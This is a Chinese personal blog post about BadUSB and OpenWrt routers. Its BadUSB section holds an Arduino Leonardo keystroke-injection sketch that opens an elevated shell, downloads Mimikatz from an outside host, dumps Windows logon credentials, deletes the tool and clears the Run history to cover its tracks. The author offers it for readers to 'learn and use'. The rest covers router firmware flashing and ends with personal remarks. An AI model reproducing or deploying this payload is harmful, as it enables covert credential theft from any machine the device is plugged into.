badusb和openwrt

badusb和openwrt

1.badusb

首先想说明一下的是这两个技术都是开源的,badusb几年前就已经发布过了,现在依然没有没有足够好的解决方案。说的通俗一点其实就是一个单片机系统,有点类似于鼠标等外接设备。看过相关的payload,其实就是模拟相关的键盘敲击,自动执行相关的cmd命令,从而实现对电脑的自动化攻击。下面以一个简单的payload进行讲解。

# Arduino——leonardo开发板

#include<Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();//开始键盘通信
  delay(1000);//延时1000毫秒,不要太短,因为每天电脑的运行速度都不一样
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 这里我们最好这样写 不然大多数电脑在中文输入的情况下就会出现问题
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
  delay(500);
  Keyboard.press('r');//按下r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);//松掉win键
  Keyboard.release('r');//松掉r键
  delay(500);
  Keyboard.println("cmd");//输入cmd进入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回车键
  Keyboard.release(KEY_RETURN); //释放回车键
  delay(500);
  Keyboard.println("echo hello world");
  Keyboard.press(KEY_RETURN);  //按下回车键
  Keyboard.release(KEY_RETURN); //释放回车键
  delay(500);
  Keyboard.press(KEY_CAPS_LOCK); //按下大写键
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键 我们再次关闭开启的大写键
  delay(500);
  Keyboard.end();//结束键盘通讯
}

void loop() {
  // put your main code here, to run repeatedly:

}

代码中主要使用了一个Keyboard标准库用于模拟键盘输入,实现自动化打开启动应用,打开cmd,输出hello world。连贯操作,真的很强大。很简单,关于更多的操作,仔细学习一下cmd命令吧,有很多操作很强大,通过badusb实现自动化执行。其实执行想想badusb不过提供了一个自动执行的环境,详细的怎么使用还是需要windows知识。其实也挺遗憾的,payload最近不知道是什么原因被关闭了,这里就在提供一个payload供大家学习使用吧,这里不方便说明。代码里面有关键次注释,大家搜一下就可以了。

#include<Keyboard.h>

void setup() {
  // put your setup code here, to run once:
  delay(3000);


  Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
  delay(500);
  Keyboard.press('r');//按下r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);//松掉win键
  Keyboard.release('r');//松掉r键
  delay(500);
  
  // 以管理员身份开启CMD窗口
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("powershell Start-Process cmd -Verb runAs");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(3000);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('y');
  Keyboard.releaseAll();
  delay(1000);

  // 下载Mimikatz
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("powershell if ([System.IntPtr]::Size -eq 4){(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x86/mimikatz.exe','C:\\pw.exe');}else{(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x64/mimikatz.exe','C:\\pw.exe');}");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(5000);
  
  // 运行Mimikatz
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("C:\\pw.exe > C:\\pwlog.txt");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("privilege::debug");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("sekurlsa::logonPasswords full");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("exit");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(300);
  // 删除Mimikatz

  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("DEL C:\\pw.exe");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(300);
  // 利用注册表清除`开始->运行`的记录
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  // 退出CMD窗口,并打开文件
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.println("notepad C:\\pwlog.txt && exit");
  Keyboard.release(KEY_LEFT_SHIFT);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
}

void loop() {
  // put your main code here, to run repeatedly:

}

这份代码是根据一个大神的代码改编的一份leonardo版本,搭建可以探索badusb更强大的功能。

2.openwrt

OpenWrt是适合于嵌入式设备的一个Linux发行版。

  • 这是百科上的解释,其实,关于这个系统最火的应用还是应用于软路由,包括小米路由器在内的一些路由系统就是基于openwrt深度定制的系统。国内的话做的比较早的是极路由,不过现在凉了,因为大厂的封杀,极路由功能越来越受限。逐渐的失去了优势。在我看来,我觉得这一块单纯就是技术的较量,并没有什么真正的对错。现在openwrt社区也有很多优秀的定制系统,padavans,lede等等,前者是民间开发者开发的,也是用的最为广泛的一款系统,后者是由技术公司维护的,主要是多播功能强大,去年出于好奇在虚拟机中跑了一下,感觉lede界面还是挺友好的,可以尝试一下。
  • 首先,并不是每款路由器都支持刷机,需要有相关的软硬件支持,需要的软件是和路由器匹配的breed,以及系统固件,收录了小米路由器mini的全套刷机包,分享给大家mini固件,我是先前刷机导致bootloader损坏变砖了,因此买了编程器救了回来,顺便体验了一下锐捷校园网的认证功能,正常运行,看到一些地方说,如果苹果和安卓最好不要同时连接路由器,这样容易被检测到,导致账号被封,大家还是注意一下吧。
总结

今天感觉写了好多,很开心。最近真的很快乐。ipad失而复返,同时真的很开心,也许是真的喜欢上一个女孩子了。也许接触没那么多,但给人的印象很深。第一次在博文里说这些,但我想也许像我姐说的那样,机会自己去把握,不想错过太多。便写下来吧。
wyt

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值